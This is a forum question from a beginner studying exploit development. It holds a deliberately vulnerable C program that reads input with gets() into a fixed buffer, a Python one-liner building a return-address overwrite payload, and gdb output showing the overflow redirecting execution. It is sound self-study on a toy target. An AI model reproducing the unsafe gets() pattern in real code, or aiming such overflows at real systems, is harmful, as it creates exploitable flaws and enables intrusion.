tl;dr: Why my exploit only works inside gdb.
I'm very new to the buffer overflow and exploit development fields. To improve my skills based on a serie of papers and videos I wrote this simple C software:
Note: I disabled ASLR
I believe that my question is different than this: Buffer overflow exploit works with gdb but not without because the author seems to have ASRL enabled.
#include <stdio.h>
#include <string.h>
void granted()
{
printf ("\nAccess granted\n");
return;
}
int main()
{
char password[104];
printf ("Enter your password: ");
gets(password);
if (strcmp(password,"p@$$w0rd"))
{
printf("\nFailed!!");
}
else
{
granted();
}
}
As far as I know there is a little bug: it is possible to enter much more than 103 chars.
My first exploit objectives were to redirect the execution flow to the granted function.
To generate the exploit, I used the following command python -c 'print "A"*100+"\x9b\x84\x04\x08"+"BBBB"' > payload-access-granted
me@computer:~$ gdb bof3.bin
(gdb) r < payload-access-granted
Starting program: /home/me/bof3.bin < payload-access-granted
Enter your password:
Failed!!
Access granted
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
As you can see the payload did what was expected: Jumped to the granted function. Exploit is working...but
Outside gdb:
me@computer:~$ ./bof3.bin < payload-access-granted
Enter your password:
Segmentation fault (core dumped)
So, why does this occur? What didn't I do correctly?
